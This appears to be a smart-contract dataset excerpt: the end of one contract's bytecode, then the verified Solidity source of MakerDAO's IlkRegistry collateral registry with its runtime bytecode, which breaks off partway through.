0000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6f636b546f6b656e3a206164647265737320697320656d707479000000000081525060200191505060405180910390fd5b8151835114151561286d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4c6f636b546f6b656e3a20696e76616c69642061727261792073697a6500000081525060200191505060405180910390fd5b60008090505b83518110156128c1576128b4848281518110151561288d57fe5b9060200190602002015184838151811015156128a557fe5b90602001906020020151613593565b8080600101915050612873565b506001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612997576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612a62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612c18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612ce3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b612d3581600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dca81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515612ef1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110151515612f82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613057576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156131ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206275726e20746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61320c81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326481600554612e7790919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561339f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600081111515613417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61346981600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134fe81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e3826040518082815260200191505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561365e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f4c6f636b546f6b656e3a206c6f636b2066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000811115156136d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4c6f636b546f6b656e3a2074686520616d6f756e7420697320656d707479000081525060200191505060405180910390fd5b61372881600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137bd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0290919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff9626bca62c59d77fa45a204dc096874ee066a5c5e124aa9ce6c438dbdf7387a826040518082815260200191505060405180910390a2505056fea165627a7a72305820046fc65bd1d7ae305ce8be954bc98458dbbe1a464f88e74ffdabaaf25c6e1a500029
{"success": true, "error": null, "results": {}}
5,481
0x5a464C28D19848f44199D003BeF5ecc87d090F87
/** *Submitted for verification at Etherscan.io on 2021-04-16 */ // SPDX-License-Identifier: AGPL-3.0-or-later /// IlkRegistry.sol -- Publicly updatable ilk registry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity ^0.6.12; interface JoinLike { function vat() external view returns (address); function ilk() external view returns (bytes32); function gem() external view returns (address); function dec() external view returns (uint256); function live() external view returns (uint256); } interface VatLike { function wards(address) external view returns (uint256); function live() external view returns (uint256); } interface DogLike { function vat() external view returns (address); function live() external view returns (uint256); function ilks(bytes32) external view returns (address, uint256, uint256, uint256); } interface CatLike { function vat() external view returns (address); function live() external view returns (uint256); function ilks(bytes32) external view returns (address, uint256, uint256); } interface FlipLike { function vat() external view returns (address); function cat() external view returns (address); } interface ClipLike { function vat() external view returns (address); function dog() external view returns (address); } interface SpotLike { function live() external view returns (uint256); function vat() external view returns (address); function ilks(bytes32) external view returns (address, uint256); } interface TokenLike { function name() external view returns (string memory); function symbol() external view returns (string memory); } contract GemInfo { function name(address token) external view returns (string memory) { return TokenLike(token).name(); } function symbol(address token) external view returns (string memory) { return TokenLike(token).symbol(); } } contract IlkRegistry { event Rely(address usr); event Deny(address usr); event File(bytes32 what, address data); event File(bytes32 ilk, bytes32 what, address data); event File(bytes32 ilk, bytes32 what, uint256 data); event File(bytes32 ilk, bytes32 what, string data); event AddIlk(bytes32 ilk); event RemoveIlk(bytes32 ilk); event UpdateIlk(bytes32 ilk); event NameError(bytes32 ilk); event SymbolError(bytes32 ilk); // --- Auth --- mapping (address => uint) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "IlkRegistry/not-authorized"); _; } VatLike public immutable vat; GemInfo private immutable gemInfo; DogLike public dog; CatLike public cat; SpotLike public spot; struct Ilk { uint96 pos; // Index in ilks array address join; // DSS GemJoin adapter address gem; // The token contract uint8 dec; // Token decimals uint96 class; // Classification code (1 - clip, 2 - flip, 3+ - other) address pip; // Token price address xlip; // Auction contract string name; // Token name string symbol; // Token symbol } mapping (bytes32 => Ilk) public ilkData; bytes32[] ilks; // Initialize the registry constructor(address vat_, address dog_, address cat_, address spot_) public { VatLike _vat = vat = VatLike(vat_); dog = DogLike(dog_); cat = CatLike(cat_); spot = SpotLike(spot_); require(dog.vat() == vat_, "IlkRegistry/invalid-dog-vat"); require(cat.vat() == vat_, "IlkRegistry/invalid-cat-vat"); require(spot.vat() == vat_, "IlkRegistry/invalid-spotter-vat"); require(_vat.wards(cat_) == 1, "IlkRegistry/cat-not-authorized"); require(_vat.wards(spot_) == 1, "IlkRegistry/spot-not-authorized"); require(_vat.live() == 1, "IlkRegistry/vat-not-live"); require(cat.live() == 1, "IlkRegistry/cat-not-live"); require(spot.live() == 1, "IlkRegistry/spot-not-live"); gemInfo = new GemInfo(); wards[msg.sender] = 1; } // Pass an active join adapter to the registry to add it to the set function add(address adapter) external { JoinLike _join = JoinLike(adapter); // Validate adapter require(_join.vat() == address(vat), "IlkRegistry/invalid-join-adapter-vat"); require(vat.wards(address(_join)) == 1, "IlkRegistry/adapter-not-authorized"); // Validate ilk bytes32 _ilk = _join.ilk(); require(_ilk != 0, "IlkRegistry/ilk-adapter-invalid"); require(ilkData[_ilk].join == address(0), "IlkRegistry/ilk-already-exists"); (address _pip,) = spot.ilks(_ilk); require(_pip != address(0), "IlkRegistry/pip-invalid"); (address _xlip,,,) = dog.ilks(_ilk); uint96 _class = 1; if (_xlip == address(0)) { (_xlip,,) = cat.ilks(_ilk); require(_xlip != address(0), "IlkRegistry/invalid-auction-contract"); _class = 2; } string memory name = bytes32ToStr(_ilk); try gemInfo.name(_join.gem()) returns (string memory _name) { if (bytes(_name).length != 0) { name = _name; } } catch { emit NameError(_ilk); } string memory symbol = bytes32ToStr(_ilk); try gemInfo.symbol(_join.gem()) returns (string memory _symbol) { if (bytes(_symbol).length != 0) { symbol = _symbol; } } catch { emit SymbolError(_ilk); } require(ilks.length < uint96(-1), "IlkRegistry/too-many-ilks"); ilks.push(_ilk); ilkData[ilks[ilks.length - 1]] = Ilk({ pos: uint96(ilks.length - 1), join: address(_join), gem: _join.gem(), dec: uint8(_join.dec()), class: _class, pip: _pip, xlip: _xlip, name: name, symbol: symbol }); emit AddIlk(_ilk); } // Anyone can remove an ilk if the adapter has been caged function remove(bytes32 ilk) external { JoinLike _join = JoinLike(ilkData[ilk].join); require(address(_join) != address(0), "IlkRegistry/invalid-ilk"); uint96 _class = ilkData[ilk].class; require(_class == 1 || _class == 2, "IlkRegistry/invalid-class"); require(_join.live() == 0, "IlkRegistry/ilk-live"); _remove(ilk); emit RemoveIlk(ilk); } // Admin can remove an ilk without any precheck function removeAuth(bytes32 ilk) external auth { _remove(ilk); emit RemoveIlk(ilk); } // Authed edit function function file(bytes32 what, address data) external auth { if (what == "dog") dog = DogLike(data); else if (what == "cat") cat = CatLike(data); else if (what == "spot") spot = SpotLike(data); else revert("IlkRegistry/file-unrecognized-param-address"); emit File(what, data); } // Authed edit function function file(bytes32 ilk, bytes32 what, address data) external auth { if (what == "gem") ilkData[ilk].gem = data; else if (what == "join") ilkData[ilk].join = data; else if (what == "pip") ilkData[ilk].pip = data; else if (what == "xlip") ilkData[ilk].xlip = data; else revert("IlkRegistry/file-unrecognized-param-address"); emit File(ilk, what, data); } // Authed edit function function file(bytes32 ilk, bytes32 what, uint256 data) external auth { if (what == "class") { require(data <= uint96(-1) && data != 0); ilkData[ilk].class = uint96(data); } else if (what == "dec") { require(data <= uint8(-1)); ilkData[ilk].dec = uint8(data); } else revert("IlkRegistry/file-unrecognized-param-uint256"); emit File(ilk, what, data); } // Authed edit function function file(bytes32 ilk, bytes32 what, string calldata data) external auth { if (what == "name") ilkData[ilk].name = data; else if (what == "symbol") ilkData[ilk].symbol = data; else revert("IlkRegistry/file-unrecognized-param-string"); emit File(ilk, what, data); } // Remove ilk from the ilks array by replacing the ilk with the // last in the array and then trimming the end. function _remove(bytes32 ilk) internal { // Get the position in the array uint256 _index = ilkData[ilk].pos; // Get the last ilk in the array bytes32 _moveIlk = ilks[ilks.length - 1]; // Replace the ilk we are removing ilks[_index] = _moveIlk; // Update the array position for the moved ilk ilkData[_moveIlk].pos = uint96(_index); // Trim off the end of the ilks array ilks.pop(); // Delete struct data delete ilkData[ilk]; } // The number of active ilks function count() external view returns (uint256) { return ilks.length; } // Return an array of the available ilks function list() external view returns (bytes32[] memory) { return ilks; } // Get a splice of the available ilks, useful when ilks array is large. function list(uint256 start, uint256 end) external view returns (bytes32[] memory) { require(start <= end && end < ilks.length, "IlkRegistry/invalid-input"); bytes32[] memory _ilks = new bytes32[]((end - start) + 1); uint256 _count = 0; for (uint256 i = start; i <= end; i++) { _ilks[_count] = ilks[i]; _count++; } return _ilks; } // Get the ilk at a specific position in the array function get(uint256 pos) external view returns (bytes32) { require(pos < ilks.length, "IlkRegistry/index-out-of-range"); return ilks[pos]; } // Get information about an ilk, including name and symbol function info(bytes32 ilk) external view returns ( string memory name, string memory symbol, uint256 class, uint256 dec, address gem, address pip, address join, address xlip ) { Ilk memory _ilk = ilkData[ilk]; return ( _ilk.name, _ilk.symbol, _ilk.class, _ilk.dec, _ilk.gem, _ilk.pip, _ilk.join, _ilk.xlip ); } // The location of the ilk in the ilks array function pos(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].pos; } // The classification code of the ilk // 1 - Flipper // 2 - Clipper // 3+ - RWA or custom adapter function class(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].class; } // The token address function gem(bytes32 ilk) external view returns (address) { return ilkData[ilk].gem; } // The ilk's price feed function pip(bytes32 ilk) external view returns (address) { return ilkData[ilk].pip; } // The ilk's join adapter function join(bytes32 ilk) external view returns (address) { return ilkData[ilk].join; } // The auction contract for the ilk function xlip(bytes32 ilk) external view returns (address) { return ilkData[ilk].xlip; } // The number of decimals on the ilk function dec(bytes32 ilk) external view returns (uint256) { return ilkData[ilk].dec; } // Return the symbol of the token, if available function symbol(bytes32 ilk) external view returns (string memory) { return ilkData[ilk].symbol; } // Return the name of the token, if available function name(bytes32 ilk) external view returns (string memory) { return ilkData[ilk].name; } // Public function to update an ilk's pip and flip if the ilk has been updated. function update(bytes32 ilk) external { require(JoinLike(ilkData[ilk].join).vat() == address(vat), "IlkRegistry/invalid-ilk"); require(JoinLike(ilkData[ilk].join).live() == 1, "IlkRegistry/ilk-not-live-use-remove-instead"); uint96 _class = ilkData[ilk].class; require(_class == 1 || _class == 2, "IlkRegistry/invalid-class"); (address _pip,) = spot.ilks(ilk); require(_pip != address(0), "IlkRegistry/pip-invalid"); ilkData[ilk].pip = _pip; emit UpdateIlk(ilk); } // Force addition or update of a collateral type. (i.e. for RWA, etc.) // Governance managed function put( bytes32 _ilk, address _join, address _gem, uint256 _dec, uint256 _class, address _pip, address _xlip, string calldata _name, string calldata _symbol ) external auth { require(_class != 0 && _class <= uint96(-1), "IlkRegistry/invalid-class"); require(_dec <= uint8(-1), "IlkRegistry/invalid-dec"); uint96 _pos; if (ilkData[_ilk].class == 0) { require(ilks.length < uint96(-1), "IlkRegistry/too-many-ilks"); ilks.push(_ilk); _pos = uint96(ilks.length - 1); emit AddIlk(_ilk); } else { _pos = ilkData[_ilk].pos; emit UpdateIlk(_ilk); } ilkData[ilks[_pos]] = Ilk({ pos: _pos, join: _join, gem: _gem, dec: uint8(_dec), class: uint96(_class), pip: _pip, xlip: _xlip, name: _name, symbol: _symbol }); } function bytes32ToStr(bytes32 _bytes32) internal pure returns (string memory) { bytes memory _bytesArray = new bytes(32); for (uint256 i; i < 32; i++) { _bytesArray[i] = _bytes32[i]; } return string(_bytesArray); } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80636f265b931161010f578063ad677d0b116100a2578063c8b97f7111610071578063c8b97f71146109d2578063d4e8be8314610a4e578063e488181314610a87578063ebecb39d14610a8f576101e5565b8063ad677d0b146107fd578063b64a097e1461081a578063bf353dbb14610997578063c3b3ad7f146109ca576101e5565b80639c52a7f1116100de5780639c52a7f1146105ed578063a19555d914610620578063a49030361461063d578063a53a42b51461065a576101e5565b80636f265b931461058e5780638b147245146105965780639507d39a146105b357806395bc2673146105d0576101e5565b806336569e771161018757806356eac7dc1161015657806356eac7dc1461048f57806365fae35e146104ac578063691f3431146104df5780636baa033014610571576101e5565b806336569e771461033a57806341f0b723146103425780634d8835e61461035f57806350fd73671461046c576101e5565b80631a0b287e116101c35780631a0b287e14610291578063217cf12b146102ba578063247c803f146102d75780633017a54d1461031d576101e5565b806306661abd146101ea5780630a3b0a4f146102045780630f560cd714610239575b600080fd5b6101f2610ace565b60408051918252519081900360200190f35b6102376004803603602081101561021a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ad4565b005b610241611aa9565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561027d578181015183820152602001610265565b505050509050019250505060405180910390f35b610237600480360360608110156102a757600080fd5b5080359060208101359060400135611b01565b6101f2600480360360208110156102d057600080fd5b5035611d3b565b6102f4600480360360208110156102ed57600080fd5b5035611d5e565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101f26004803603602081101561033357600080fd5b5035611d89565b6102f4611db9565b6102f46004803603602081101561035857600080fd5b5035611ddd565b610237600480360361012081101561037657600080fd5b81359173ffffffffffffffffffffffffffffffffffffffff6020820135811692604083013582169260608101359260808201359260a083013582169260c08101359092169190810190610100810160e08201356401000000008111156103db57600080fd5b8201836020820111156103ed57600080fd5b8035906020019184600183028401116401000000008311171561040f57600080fd5b91939092909160208101903564010000000081111561042d57600080fd5b82018360208201111561043f57600080fd5b8035906020019184600183028401116401000000008311171561046157600080fd5b509092509050611e08565b6102416004803603604081101561048257600080fd5b50803590602001356123d2565b6101f2600480360360208110156104a557600080fd5b50356124eb565b610237600480360360208110156104c257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661250b565b6104fc600480360360208110156104f557600080fd5b50356125e8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561053657818101518382015260200161051e565b50505050905090810190601f1680156105635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104fc6004803603602081101561058757600080fd5b50356126aa565b6102f4612735565b610237600480360360208110156105ac57600080fd5b5035612751565b6101f2600480360360208110156105c957600080fd5b5035612bf7565b610237600480360360208110156105e657600080fd5b5035612c89565b6102376004803603602081101561060357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612ef1565b6102376004803603602081101561063657600080fd5b5035612fcd565b6102f46004803603602081101561065357600080fd5b503561308a565b6106776004803603602081101561067057600080fd5b50356130c5565b604051808a6bffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018760ff168152602001866bffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015610759578181015183820152602001610741565b50505050905090810190601f1680156107865780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156107b95781810151838201526020016107a1565b50505050905090810190601f1680156107e65780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b6102f46004803603602081101561081357600080fd5b50356132ac565b6108376004803603602081101561083057600080fd5b50356132e4565b6040518080602001806020018981526020018881526020018773ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183810383528b818151815260200191508051906020019080838360005b838110156108f45781810151838201526020016108dc565b50505050905090810190601f1680156109215780820380516001836020036101000a031916815260200191505b5083810382528a5181528a516020918201918c019080838360005b8381101561095457818101518382015260200161093c565b50505050905090810190601f1680156109815780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b6101f2600480360360208110156109ad57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16613567565b6102f4613579565b610237600480360360608110156109e857600080fd5b813591602081013591810190606081016040820135640100000000811115610a0f57600080fd5b820183602082011115610a2157600080fd5b80359060200191846001830284011164010000000083111715610a4357600080fd5b509092509050613595565b61023760048036036040811015610a6457600080fd5b508035906020013573ffffffffffffffffffffffffffffffffffffffff16613787565b6102f46139f1565b61023760048036036060811015610aa557600080fd5b508035906020810135906040013573ffffffffffffffffffffffffffffffffffffffff16613a0d565b60055490565b60008190507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff166336569e776040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d6020811015610b8057600080fd5b505173ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806141646024913960400191505060405180910390fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663bf353dbb826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c7557600080fd5b505afa158015610c89573d6000803e3d6000fd5b505050506040513d6020811015610c9f57600080fd5b5051600114610cf9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141886022913960400191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d4157600080fd5b505afa158015610d55573d6000803e3d6000fd5b505050506040513d6020811015610d6b57600080fd5b5051905080610ddb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f496c6b52656769737472792f696c6b2d616461707465722d696e76616c696400604482015290519081900360640190fd5b6000818152600460205260409020546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1615610e7c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f496c6b52656769737472792f696c6b2d616c72656164792d6578697374730000604482015290519081900360640190fd5b600354604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101849052815160009373ffffffffffffffffffffffffffffffffffffffff169263d9638d369260248082019391829003018186803b158015610eea57600080fd5b505afa158015610efe573d6000803e3d6000fd5b505050506040513d6040811015610f1457600080fd5b5051905073ffffffffffffffffffffffffffffffffffffffff8116610f9a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496c6b52656769737472792f7069702d696e76616c6964000000000000000000604482015290519081900360640190fd5b600154604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101859052905160009273ffffffffffffffffffffffffffffffffffffffff169163d9638d36916024808301926080929190829003018186803b15801561100c57600080fd5b505afa158015611020573d6000803e3d6000fd5b505050506040513d608081101561103657600080fd5b50519050600173ffffffffffffffffffffffffffffffffffffffff821661116757600254604080517fd9638d3600000000000000000000000000000000000000000000000000000000815260048101879052905173ffffffffffffffffffffffffffffffffffffffff9092169163d9638d3691602480820192606092909190829003018186803b1580156110c957600080fd5b505afa1580156110dd573d6000803e3d6000fd5b505050506040513d60608110156110f357600080fd5b5051915073ffffffffffffffffffffffffffffffffffffffff8216611163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806141406024913960400191505060405180910390fd5b5060025b606061117285613cc4565b90507f000000000000000000000000d986ace7b674fe0434d721f5339868845158195c73ffffffffffffffffffffffffffffffffffffffff1663019848928773ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f657600080fd5b505afa15801561120a573d6000803e3d6000fd5b505050506040513d602081101561122057600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926000929190829003018186803b15801561128c57600080fd5b505afa92505050801561139057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405260208110156112dd57600080fd5b81019080805160405193929190846401000000008211156112fd57600080fd5b90830190602082018581111561131257600080fd5b825164010000000081118282018810171561132c57600080fd5b82525081516020918201929091019080838360005b83811015611359578181015183820152602001611341565b50505050905090810190601f1680156113865780820380516001836020036101000a031916815260200191505b5060405250505060015b6113cc576040805186815290517f93272f551c7dd0dd38e4c01ae7b4eeef80d2557b4460caa3ee96697d93bc809a9181900360200190a16113d9565b8051156113d7578091505b505b60606113e486613cc4565b90507f000000000000000000000000d986ace7b674fe0434d721f5339868845158195c73ffffffffffffffffffffffffffffffffffffffff1663a86e35768873ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b15801561146857600080fd5b505afa15801561147c573d6000803e3d6000fd5b505050506040513d602081101561149257600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926000929190829003018186803b1580156114fe57600080fd5b505afa92505050801561160257506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561154f57600080fd5b810190808051604051939291908464010000000082111561156f57600080fd5b90830190602082018581111561158457600080fd5b825164010000000081118282018810171561159e57600080fd5b82525081516020918201929091019080838360005b838110156115cb5781810151838201526020016115b3565b50505050905090810190601f1680156115f85780820380516001836020036101000a031916815260200191505b5060405250505060015b61163e576040805187815290517fd4596cfd8cc9635c5a006e070f5c23e1af9b5d2e65665a8d73958c9e6cc17b4d9181900360200190a161164b565b805115611649578091505b505b6005546bffffffffffffffffffffffff116116c757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f496c6b52656769737472792f746f6f2d6d616e792d696c6b7300000000000000604482015290519081900360640190fd5b6005805460018101825560008290527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db001879055604080516101208101825291547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff016bffffffffffffffffffffffff16825273ffffffffffffffffffffffffffffffffffffffff8916602080840182905282517f7bd2bea7000000000000000000000000000000000000000000000000000000008152835193850193637bd2bea792600480840193919291829003018186803b1580156117a757600080fd5b505afa1580156117bb573d6000803e3d6000fd5b505050506040513d60208110156117d157600080fd5b505173ffffffffffffffffffffffffffffffffffffffff9081168252604080517fb3bcfa820000000000000000000000000000000000000000000000000000000081529051602093840193928c169263b3bcfa829260048082019391829003018186803b15801561184157600080fd5b505afa158015611855573d6000803e3d6000fd5b505050506040513d602081101561186b57600080fd5b505160ff1681526bffffffffffffffffffffffff8516602082015273ffffffffffffffffffffffffffffffffffffffff8088166040830152861660608201526080810184905260a001829052600580546004916000917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81019081106118ed57fe5b600091825260208083209091015483528281019390935260409182019020835181548585015173ffffffffffffffffffffffffffffffffffffffff9081166c010000000000000000000000009081026bffffffffffffffffffffffff9485167fffffffffffffffffffffffffffffffffffffffff0000000000000000000000009485161785161785559487015160018501805460608a015160ff1674010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff9385167fffffffffffffffffffffffff00000000000000000000000000000000000000009283161793909316929092179055608088015160028601805460a08b01518516909802918616979094169690961790931694909417905560c08501516003830180549190941691161790915560e083015180519192611a4b92600485019290910190613ee0565b506101008201518051611a68916005840191602090910190613ee0565b50506040805188815290517f74ceb2982b813d6b690af89638316706e6acb9a48fced388741b61b510f165b792509081900360200190a15050505050505050565b6060600580548060200260200160